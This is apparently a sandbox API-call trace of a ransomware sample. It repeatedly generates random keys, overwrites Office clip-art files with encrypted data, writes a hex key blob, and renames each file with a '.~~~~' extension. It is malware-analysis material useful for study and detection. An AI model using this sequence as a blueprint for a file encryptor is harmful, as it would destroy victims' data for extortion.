	[0106.489] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0106.490] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.490] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.490] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.490] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.490] CloseHandle (hObject=0x138) returned 1
	[0106.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28988b8
	[0106.490] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf.~~~~")) returned 1
	[0106.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28988b8 | out: hHeap=0x300000) returned 1
	[0106.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0106.491] GetLastError () returned 0x0
	[0106.492] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0106.493] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.493] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0106.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0106.493] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22648360813) returned 1
	[0106.494] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa9254c90, dwHighDateTime=0x1d60e1e)) 
	[0106.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0106.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0106.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0106.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286db08
	[0106.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286db08 | out: hHeap=0x300000) returned 1
	[0106.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2898768
	[0106.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28733a0
	[0106.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.535] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0106.535] GetLastError () returned 0x0
	[0106.535] GetLastError () returned 0x0
	[0106.535] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0106.535] GetLastError () returned 0x0
	[0106.535] GetLastError () returned 0x0
	[0106.540] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd14c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.540] WriteFile (in: hFile=0x138, lpBuffer=0x29a6088*, nNumberOfBytesToWrite=0x2eb4, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29a6088*, lpNumberOfBytesWritten=0x24dfec0*=0x2eb4, lpOverlapped=0x0) returned 1
	[0106.542] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a6088 | out: hHeap=0x300000) returned 1
	[0106.542] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.542] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.542] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.542] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.543] CloseHandle (hObject=0x138) returned 1
	[0106.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2898768
	[0106.544] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf.~~~~")) returned 1
	[0106.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0106.578] GetLastError () returned 0x0
	[0106.579] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0106.580] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.580] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0106.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0106.580] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22657042488) returned 1
	[0106.580] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa93394d0, dwHighDateTime=0x1d60e1e)) 
	[0106.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0106.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0106.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0106.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2c98
	[0106.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2c98 | out: hHeap=0x300000) returned 1
	[0106.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2898768
	[0106.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28737c8
	[0106.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.581] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0106.581] GetLastError () returned 0x0
	[0106.582] GetLastError () returned 0x0
	[0106.582] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0106.582] GetLastError () returned 0x0
	[0106.582] GetLastError () returned 0x0
	[0106.586] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff392e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.586] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xc6d2, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0xc6d2, lpOverlapped=0x0) returned 1
	[0106.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0106.587] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.588] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.588] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.588] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.588] CloseHandle (hObject=0x138) returned 1
	[0106.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2898768
	[0106.588] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf.~~~~")) returned 1
	[0106.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0106.590] GetLastError () returned 0x0
	[0106.590] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0106.591] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.591] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0106.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0106.591] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22658162994) returned 1
	[0106.592] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa935f630, dwHighDateTime=0x1d60e1e)) 
	[0106.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0106.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0106.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0106.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2c60
	[0106.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2c60 | out: hHeap=0x300000) returned 1
	[0106.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2898768
	[0106.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2873c88
	[0106.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.592] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0106.593] GetLastError () returned 0x0
	[0106.593] GetLastError () returned 0x0
	[0106.593] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0106.593] GetLastError () returned 0x0
	[0106.593] GetLastError () returned 0x0
	[0106.596] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff32f0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.596] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xcd10, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0xcd10, lpOverlapped=0x0) returned 1
	[0106.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0106.597] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.597] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.597] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.597] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.597] CloseHandle (hObject=0x138) returned 1
	[0106.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2898768
	[0106.598] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf.~~~~")) returned 1
	[0106.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0106.599] GetLastError () returned 0x0
	[0106.599] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0106.600] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0106.600] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0106.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0106.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0106.600] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22659039013) returned 1
	[0106.600] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa935f630, dwHighDateTime=0x1d60e1e)) 
	[0106.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0106.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0106.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0106.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2c28
	[0106.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0106.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2c28 | out: hHeap=0x300000) returned 1
	[0106.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0106.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2898768
	[0106.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2873d20
	[0106.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.601] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0106.601] GetLastError () returned 0x0
	[0106.601] GetLastError () returned 0x0
	[0106.602] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0106.602] GetLastError () returned 0x0
	[0106.602] GetLastError () returned 0x0
	[0106.721] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff57f4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.721] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xa80c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0xa80c, lpOverlapped=0x0) returned 1
	[0106.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0106.722] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.722] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.723] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.723] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.723] CloseHandle (hObject=0x138) returned 1
	[0106.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.723] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf.~~~~")) returned 1
	[0106.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0106.746] GetLastError () returned 0x0
	[0106.747] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0106.749] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0106.749] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0106.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0106.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0106.749] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22673914507) returned 1
	[0106.749] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa94dc3f0, dwHighDateTime=0x1d60e1e)) 
	[0106.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0106.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0106.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0106.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286dd00
	[0106.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286dd00 | out: hHeap=0x300000) returned 1
	[0106.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2873db8
	[0106.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.750] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0106.750] GetLastError () returned 0x0
	[0106.750] GetLastError () returned 0x0
	[0106.751] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0106.751] GetLastError () returned 0x0
	[0106.751] GetLastError () returned 0x0
	[0106.780] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffe49c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
